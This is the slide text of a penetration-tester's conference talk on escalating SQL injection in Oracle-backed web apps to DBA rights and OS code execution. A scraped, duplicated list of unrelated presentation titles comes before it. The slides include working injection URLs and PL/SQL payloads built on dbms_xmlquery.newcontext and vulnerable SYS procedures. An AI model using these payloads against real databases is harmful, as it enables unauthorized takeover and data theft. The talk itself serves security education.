An Overview of Salesforce Health Cloud & How is it Transforming Patient Care
Cyntexa
 
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
João Esperancinha
 
Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Everything You Need to Know About Agentforce? (Put AI Agents to Work)Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Cyntexa
 
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à GenèveUiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPathCommunity
 
Mastering Testing in the Modern F&B Landscape
Mastering Testing in the Modern F&B LandscapeMastering Testing in the Modern F&B Landscape
Mastering Testing in the Modern F&B Landscape
marketing943205
 
Com fer un pla de gestió de dades amb l'eiNa DMP (en anglès)
Com fer un pla de gestió de dades amb l'eiNa DMP (en anglès)Com fer un pla de gestió de dades amb l'eiNa DMP (en anglès)
Com fer un pla de gestió de dades amb l'eiNa DMP (en anglès)
CSUC - Consorci de Serveis Universitaris de Catalunya
 
Config 2025 presentation recap covering both days
Config 2025 presentation recap covering both daysConfig 2025 presentation recap covering both days
Config 2025 presentation recap covering both days
TrishAntoni1
 
Slack like a pro: strategies for 10x engineering teams
Slack like a pro: strategies for 10x engineering teamsSlack like a pro: strategies for 10x engineering teams
Slack like a pro: strategies for 10x engineering teams
Nacho Cougil
 
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
SOFTTECHHUB
 
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdfKit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Wonjun Hwang
 
Bepents tech services - a premier cybersecurity consulting firm
Bepents tech services - a premier cybersecurity consulting firmBepents tech services - a premier cybersecurity consulting firm
Bepents tech services - a premier cybersecurity consulting firm
Benard76
 
Viam product demo_ Deploying and scaling AI with hardware.pdf
Viam product demo_ Deploying and scaling AI with hardware.pdfViam product demo_ Deploying and scaling AI with hardware.pdf
Viam product demo_ Deploying and scaling AI with hardware.pdf
camilalamoratta
 
Unlocking Generative AI in your Web Apps
Unlocking Generative AI in your Web AppsUnlocking Generative AI in your Web Apps
Unlocking Generative AI in your Web Apps
Maximiliano Firtman
 
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
RTP Over QUIC: An Interesting Opportunity Or Wasted Time?
Lorenzo Miniero
 
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Enterprise Integration Is Dead! Long Live AI-Driven Integration with Apache C...
Markus Eisele
 
Top-AI-Based-Tools-for-Game-Developers (1).pptx
Top-AI-Based-Tools-for-Game-Developers (1).pptxTop-AI-Based-Tools-for-Game-Developers (1).pptx
Top-AI-Based-Tools-for-Game-Developers (1).pptx
BR Softech
 
How to Install & Activate ListGrabber - eGrabber
How to Install & Activate ListGrabber - eGrabberHow to Install & Activate ListGrabber - eGrabber
How to Install & Activate ListGrabber - eGrabber
eGrabber
 
AI x Accessibility UXPA by Stew Smith and Olivier Vroom
AI x Accessibility UXPA by Stew Smith and Olivier VroomAI x Accessibility UXPA by Stew Smith and Olivier Vroom
AI x Accessibility UXPA by Stew Smith and Olivier Vroom
UXPA Boston
 
AsyncAPI v3 : Streamlining Event-Driven API Design
AsyncAPI v3 : Streamlining Event-Driven API DesignAsyncAPI v3 : Streamlining Event-Driven API Design
AsyncAPI v3 : Streamlining Event-Driven API Design
leonid54
 
AI-proof your career by Olivier Vroom and David WIlliamson
AI-proof your career by Olivier Vroom and David WIlliamsonAI-proof your career by Olivier Vroom and David WIlliamson
AI-proof your career by Olivier Vroom and David WIlliamson
UXPA Boston
 
An Overview of Salesforce Health Cloud & How is it Transforming Patient Care
An Overview of Salesforce Health Cloud & How is it Transforming Patient CareAn Overview of Salesforce Health Cloud & How is it Transforming Patient Care
An Overview of Salesforce Health Cloud & How is it Transforming Patient Care
Cyntexa
 
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
Could Virtual Threads cast away the usage of Kotlin Coroutines - DevoxxUK2025
João Esperancinha
 
Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Everything You Need to Know About Agentforce? (Put AI Agents to Work)Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Everything You Need to Know About Agentforce? (Put AI Agents to Work)
Cyntexa
 
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à GenèveUiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPath Automation Suite – Cas d'usage d'une NGO internationale basée à Genève
UiPathCommunity
 
Mastering Testing in the Modern F&B Landscape
Mastering Testing in the Modern F&B LandscapeMastering Testing in the Modern F&B Landscape
Mastering Testing in the Modern F&B Landscape
marketing943205
 
Config 2025 presentation recap covering both days
Config 2025 presentation recap covering both daysConfig 2025 presentation recap covering both days
Config 2025 presentation recap covering both days
TrishAntoni1
 
Slack like a pro: strategies for 10x engineering teams
Slack like a pro: strategies for 10x engineering teamsSlack like a pro: strategies for 10x engineering teams
Slack like a pro: strategies for 10x engineering teams
Nacho Cougil
 
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
The No-Code Way to Build a Marketing Team with One AI Agent (Download the n8n...
SOFTTECHHUB
 
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdfKit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Kit-Works Team Study_팀스터디_김한솔_nuqs_20250509.pdf
Wonjun Hwang
 

New and improved hacking oracle from web apps sumit sidharth

  • 1. NEW AND IMPROVED: HACKING ORACLE FROM WEB Sumit “sid” Siddharth 7Safe Limited UK
  • 2. About 7Safe  Part of PA Consulting Group  Security Services  Penetration testing  PCI-DSS  Forensics  Training  E-discovery
  • 3. About Me  Head of Penetration Testing@7Safe  Specialising in Application and Database Security  Speaker at Black Hat, DEFCON, OWASP Appsec etc  Not an Oracle Geek  Blog: www.notsosecure.com  Twitter: notsosecure
  • 4. Prelude  There are a number of talks on hacking oracle  Mostly it comes down to exploiting a vulnerable package which comes with Oracle  What about web?  How do we exploit a web app which has a SQL Injection and is communicating with an Oracle back- end database?  By exploitation I don’t mean data extraction, I mean OS code execution (aka xp_cmdshell)
  • 5. Credit to..  The talk presents the work of a number of Oracle security researchers in the context of web application security.  Specially David Litchfield and Esteban  Other researchers we would like to thank:  Alexander Kornbrust  FerruhMavituna
  • 6. Oracle Privileges- 101  Oracle database installation comes with a number of default packages, procedures, functions etc.  By default these procedures/functions run with the privilege of definer  To change the execution privileges from definer to invoker keyword AUTHID CURRENT_USER must be defined
  • 7. Hacking Oracle from Network  If there is a SQL Injection in a procedure owned by SYS and PUBLIC has execute privileges, then its “game over”…
  • 8. Owning Oracle over network  Enumerate SID  Enumerate users  Connect to Oracle  Exploit SQL injection in a procedure owned by SYS  Become DBA  Execute OS Code Metasploit is your friend…
  • 9. Owning Oracle from network....  E.g.  exec SYS.LT.MERGEWORKSPACE(‘foobar'' and SCOTT.DBA()=''Y');  The function SCOTT. DBA() will be executed by SYS as it is called by the procedure  SCOTT.DBA() has AUTHID CURRENT_USER defined
  • 10. Hacking Oracle from Web- 101  What happens when you find a SQL Injection in a web app which talks to Oracle database?  Of-course SQL Injection is bad (remember SONY!)  But how bad is it?  Can we pwn oralce in the same way as we do over the network  Can we escalate our privs and become DBA  Can we execute OS code
  • 11. SQL In Oracle  SQL is a limited language that allows you to directly interact with the database.  You can write queries (SELECT), manipulate data and objects (DDL, DML) with SQL. However, SQL doesn't include all the things that normal programming languages have, such as loops and IF...THEN...ELSE statements.  Most importantly, SQL does not support execution of multiple statements.
  • 12. SQL In Oracle....  SQL in Oracle does not support execution of multiple statements.  OS code execution is not as simple as executing xp_cmdshell in MSSQL.  Not enough documentation on which exploits can be used from web applications.  Not many publicly available tools for exploiting Oracle SQL Injections.
  • 13. Hacking Oracle from web: Part 1  Last year I released a paper which talks about different attack vectors which can be used in different scenarios  Lets have a quick look at some of this
  • 14. Executing multiple statements in SQL  Only option is to find functions which lets us do this:  Select * from tbl where id =‘1’ and (select scott.func(‘begin statement 1;statement 2 ;end;’) from dual)= ‘a’--’  The function can execute an anonymous PL/SQL block either as a feature or as a bug.  Thank fully Oracle has some default functions which let’s you do this...
  • 15. DBA Privileges  Function: SYS.KUPP$PROC.CREATE_MASTER_PRO CESS()  Function executes arbitrary PL/SQL  Only DBA can call this function  Executes any PL/SQL statement.  Call DBMS_scheduler to run OS code
  • 17. JAVA IO Privileges  Functions:  DBMS_JAVA.RUNJAVA()  11g R1 and R2  DBMS_JAVA_TEST.FUNCALL()  10g R2, 11g R1 and R2  Java class allowing OS code execution by default –oracle/aurora/util/Wrapper
  • 19. DEMO: OS Code Execution with JAVA IO Permissions
  • 20. So, what’s new  If you have either DBA role or JAVA IO privs then its pretty much game over  What if you don’t have these?  Can we not exploit vulnerable packages and become DBA anyways just as we would do while hacking oracle from n/w
  • 21. 2 functions which change everything..  dbms_xmlquery.newcontext()  dbms_xmlquery.getxml()  These 2 functions are available from Oracle 9i to 11g R2  Functions are executable by PUBLIC  AUTHID CURRENT_USER  Allow execution of PL/SQL Statement
  • 22. So, what can you do with these  Although these functions are marked AUTHID CURRENT_USER you can still do stuff like:  Exploit any vulnerable database object and escalate permissions
  • 23. Example  Consider a SQL Injection in an un-patched Oracle database  The app connects to database with a user which has minimum privileges  The database has missing CPU (nothing unusual)  Exploit the vulnerability patched by CPU  Become dba, execute code, pwn stuff.....
  • 24. dbms_xmlquery.newcontext select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''any pl/sql statement ''; commit; end;') from dual http://vuln/index.php?id=1 and (select dbms_xmlquery.newcontext(‘ declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function pwn return varchar2 authid current_user is PRAGMA autonomous_transaction;BEGIN execute immediate ''''grant dba to scott'''';commit;return ''''z'''';END; ''; commit; end;‘) from dual) is not null --
  • 25. Example#1 SYS.LT. CREATEWORKSPACE (CPU April 2009)  Exploit vulnerable procedure to become DBA  http://vuln/index.php?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin SYS.LT.CREATEWORKSPACE(''''A10'''''''' and scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;''; commit; end;') from dual) is not null --
  • 26. DEMO
  • 27. Exploiting 11g R2  Similarly we can now exploit any vulnerable package within 11g R2  sys.dbms_cdc_publish.create_change_set  CPU: October 2010, 10gR1, 10gR2, 11g R1 and 11gR2
  • 28. Exploiting 11g R2  select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual
  • 29. Indirect Privilege Escalation  Using these functions we can call indirect privilege escalation vectors from web apps  Become DBA from  Create ANY Trigger  CREATE ANY Procedure  CREATE ANY VIEW  Etc.....
  • 30. Summary  You can use the 2 functions to exploit any vulnerability within the back-end database from web to become DBA.  The vulnerability can be in  custom code  Code shipped with Oracle (missing CPU)  0 day  Indirect privilege escalation  After you become DBA you can execute OS code.
  • 31. Thank You  Questions?  Contact: Sid@pentest.7safe.com  Twitter: notsosecure  Blog: www.notsosecure.com
  翻译: